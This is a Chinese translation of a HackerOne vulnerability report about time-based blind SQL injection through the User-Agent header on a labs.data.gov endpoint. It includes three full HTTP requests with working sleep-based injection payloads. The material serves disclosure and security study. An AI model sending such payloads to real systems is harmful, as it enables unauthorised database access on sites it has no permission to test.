通過User-agent進行SQL注入


聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。

文章來源:https://hackerone.com/reports/297478

 我發現了一個SQL注入漏洞 /dashboard/datagov/csv_to_json,可以通過User-Agent HTTP請求頭利用它。

我沒有從數據庫中提取任何數據,我已經使用具有算術運算的sleep SQL查詢確認了漏洞。sleep 命令與算術運算結果將導致服務器響應不同的延遲時間。

例如,將該值設置 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'User-Agent頭部將導致服務器延遲25(5×5)秒。

要重現,請發送以下HTTPS請求:

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

服務器將在25(5 * 5)秒后響應- 與User-Agent:請求頭的值相同。

現在,讓我們讓服務器立即響應。我們將發送等於0的值sleep(5 * 5 * 0)。

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

服務器立即響應為5 * 5 * 0 = 0。

讓我們用另一個請求確認:

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

這次有效載荷包含6 * 6-30,等於6。服務器在6秒后響應。

這些只是我嘗試確認此問題的各種算術運算的一些SQL查詢。

碰撞

攻擊者可以操縱發送到MySQL數據庫的SQL語句並注入惡意SQL語句。攻擊者能夠更改針對數據庫執行的SQL語句的邏輯。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM